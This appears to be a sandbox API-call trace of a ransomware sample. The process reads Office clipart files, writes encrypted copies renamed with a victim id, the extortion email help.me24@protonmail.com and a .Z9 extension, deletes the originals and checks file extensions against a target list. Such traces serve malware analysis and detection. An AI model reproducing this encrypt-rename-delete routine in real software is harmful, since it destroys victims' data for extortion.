	[0183.741] WriteFile (in: hFile=0x558, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x4040, lpOverlapped=0x0) returned 1
	[0183.743] ReadFile (in: hFile=0x4bc, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.743] WriteFile (in: hFile=0x558, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.743] SetEndOfFile (hFile=0x558) returned 1
	[0183.743] CloseHandle (hObject=0x558) returned 1
	[0183.743] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.743] SetEndOfFile (hFile=0x4bc) returned 1
	[0183.747] CloseHandle (hObject=0x4bc) returned 1
	[0183.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 1
	[0183.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0183.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0183.749] lstrlenW (lpString=".doc") returned 4
	[0183.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.749] lstrlenW (lpString=".docx") returned 5
	[0183.749] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0183.749] lstrlenW (lpString=".pdf") returned 4
	[0183.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.749] lstrlenW (lpString=".xls") returned 4
	[0183.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.749] lstrlenW (lpString=".xlsx") returned 5
	[0183.749] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0183.749] lstrlenW (lpString=".ppt") returned 4
	[0183.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0183.749] lstrlenW (lpString=".zip") returned 4
	[0183.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.749] lstrlenW (lpString=".rar") returned 4
	[0183.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.749] lstrlenW (lpString=".bz2") returned 4
	[0183.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.749] lstrlenW (lpString=".7z") returned 3
	[0183.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0183.749] lstrlenW (lpString=".dbf") returned 4
	[0183.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0183.749] lstrlenW (lpString=".1cd") returned 4
	[0183.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0183.750] lstrlenW (lpString=".jpg") returned 4
	[0183.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0183.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0183.750] lstrlenW (lpString=".doc") returned 4
	[0183.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.750] lstrlenW (lpString=".docx") returned 5
	[0183.750] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0183.750] lstrlenW (lpString=".pdf") returned 4
	[0183.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.750] lstrlenW (lpString=".xls") returned 4
	[0183.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.750] lstrlenW (lpString=".xlsx") returned 5
	[0183.750] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0183.750] lstrlenW (lpString=".ppt") returned 4
	[0183.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0183.750] lstrlenW (lpString=".zip") returned 4
	[0183.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.750] lstrlenW (lpString=".rar") returned 4
	[0183.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.750] lstrlenW (lpString=".bz2") returned 4
	[0183.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.750] lstrlenW (lpString=".7z") returned 3
	[0183.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0183.751] lstrlenW (lpString=".dbf") returned 4
	[0183.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0183.751] lstrlenW (lpString=".1cd") returned 4
	[0183.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68
	[0183.751] lstrlenW (lpString=".jpg") returned 4
	[0183.751] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.751] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0183.751] lstrlenW (lpString="J0152558.WMF") returned 12
	[0183.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0183.909] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=16052) returned 1
	[0183.909] CloseHandle (hObject=0x55c) returned 1
	[0183.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 0x220
	[0184.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0184.127] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.128] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0184.129] GetLastError () returned 0x0
	[0184.129] ReadFile (in: hFile=0x548, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x3eb4, lpOverlapped=0x0) returned 1
	[0184.131] WriteFile (in: hFile=0x3c8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x3ec0, lpOverlapped=0x0) returned 1
	[0184.132] ReadFile (in: hFile=0x548, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.132] WriteFile (in: hFile=0x3c8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.132] SetEndOfFile (hFile=0x3c8) returned 1
	[0184.133] CloseHandle (hObject=0x3c8) returned 1
	[0184.133] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.133] SetEndOfFile (hFile=0x548) returned 1
	[0184.136] CloseHandle (hObject=0x548) returned 1
	[0184.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.136] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 1
	[0184.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0184.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0184.137] lstrlenW (lpString=".doc") returned 4
	[0184.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.138] lstrlenW (lpString=".docx") returned 5
	[0184.138] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0184.138] lstrlenW (lpString=".pdf") returned 4
	[0184.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.138] lstrlenW (lpString=".xls") returned 4
	[0184.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.138] lstrlenW (lpString=".xlsx") returned 5
	[0184.138] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0184.138] lstrlenW (lpString=".ppt") returned 4
	[0184.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0184.138] lstrlenW (lpString=".zip") returned 4
	[0184.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.138] lstrlenW (lpString=".rar") returned 4
	[0184.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.138] lstrlenW (lpString=".bz2") returned 4
	[0184.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.138] lstrlenW (lpString=".7z") returned 3
	[0184.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0184.138] lstrlenW (lpString=".dbf") returned 4
	[0184.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0184.138] lstrlenW (lpString=".1cd") returned 4
	[0184.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0184.138] lstrlenW (lpString=".jpg") returned 4
	[0184.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0184.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0184.138] lstrlenW (lpString=".doc") returned 4
	[0184.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.138] lstrlenW (lpString=".docx") returned 5
	[0184.138] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0184.139] lstrlenW (lpString=".pdf") returned 4
	[0184.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.139] lstrlenW (lpString=".xls") returned 4
	[0184.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.139] lstrlenW (lpString=".xlsx") returned 5
	[0184.139] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0184.139] lstrlenW (lpString=".ppt") returned 4
	[0184.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0184.139] lstrlenW (lpString=".zip") returned 4
	[0184.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.139] lstrlenW (lpString=".rar") returned 4
	[0184.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.139] lstrlenW (lpString=".bz2") returned 4
	[0184.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.139] lstrlenW (lpString=".7z") returned 3
	[0184.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0184.139] lstrlenW (lpString=".dbf") returned 4
	[0184.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0184.139] lstrlenW (lpString=".1cd") returned 4
	[0184.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0184.139] lstrlenW (lpString=".jpg") returned 4
	[0184.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.139] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0184.139] lstrlenW (lpString="J0152568.WMF") returned 12
	[0184.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0184.141] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=3696) returned 1
	[0184.141] CloseHandle (hObject=0x548) returned 1
	[0184.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 0x220
	[0184.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0184.141] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.142] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0184.143] GetLastError () returned 0x0
	[0184.143] ReadFile (in: hFile=0x548, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0xe70, lpOverlapped=0x0) returned 1
	[0184.145] WriteFile (in: hFile=0x3c8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xe80, lpOverlapped=0x0) returned 1
	[0184.146] ReadFile (in: hFile=0x548, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.146] WriteFile (in: hFile=0x3c8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.147] SetEndOfFile (hFile=0x3c8) returned 1
	[0184.147] CloseHandle (hObject=0x3c8) returned 1
	[0184.147] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.147] SetEndOfFile (hFile=0x548) returned 1
	[0184.151] CloseHandle (hObject=0x548) returned 1
	[0184.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 1
	[0184.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0184.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0184.153] lstrlenW (lpString=".doc") returned 4
	[0184.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.153] lstrlenW (lpString=".docx") returned 5
	[0184.153] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0184.153] lstrlenW (lpString=".pdf") returned 4
	[0184.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.153] lstrlenW (lpString=".xls") returned 4
	[0184.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.153] lstrlenW (lpString=".xlsx") returned 5
	[0184.153] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0184.153] lstrlenW (lpString=".ppt") returned 4
	[0184.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0184.153] lstrlenW (lpString=".zip") returned 4
	[0184.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.153] lstrlenW (lpString=".rar") returned 4
	[0184.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.154] lstrlenW (lpString=".bz2") returned 4
	[0184.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.154] lstrlenW (lpString=".7z") returned 3
	[0184.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0184.154] lstrlenW (lpString=".dbf") returned 4
	[0184.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0184.154] lstrlenW (lpString=".1cd") returned 4
	[0184.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0184.154] lstrlenW (lpString=".jpg") returned 4
	[0184.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0184.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0184.154] lstrlenW (lpString=".doc") returned 4
	[0184.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.154] lstrlenW (lpString=".docx") returned 5
	[0184.154] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0184.154] lstrlenW (lpString=".pdf") returned 4
	[0184.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.154] lstrlenW (lpString=".xls") returned 4
	[0184.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.154] lstrlenW (lpString=".xlsx") returned 5
	[0184.154] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0184.155] lstrlenW (lpString=".ppt") returned 4
	[0184.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0184.155] lstrlenW (lpString=".zip") returned 4
	[0184.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.155] lstrlenW (lpString=".rar") returned 4
	[0184.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.155] lstrlenW (lpString=".bz2") returned 4
	[0184.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.155] lstrlenW (lpString=".7z") returned 3
	[0184.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0184.155] lstrlenW (lpString=".dbf") returned 4
	[0184.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0184.155] lstrlenW (lpString=".1cd") returned 4
	[0184.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0184.155] lstrlenW (lpString=".jpg") returned 4
	[0184.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.155] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0184.155] lstrlenW (lpString="J0152570.WMF") returned 12
	[0184.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0184.157] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=3368) returned 1
	[0184.157] CloseHandle (hObject=0x548) returned 1
	[0184.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 0x220
	[0184.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0184.158] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.158] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0184.159] GetLastError () returned 0x0
	[0184.159] ReadFile (in: hFile=0x548, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0xd28, lpOverlapped=0x0) returned 1
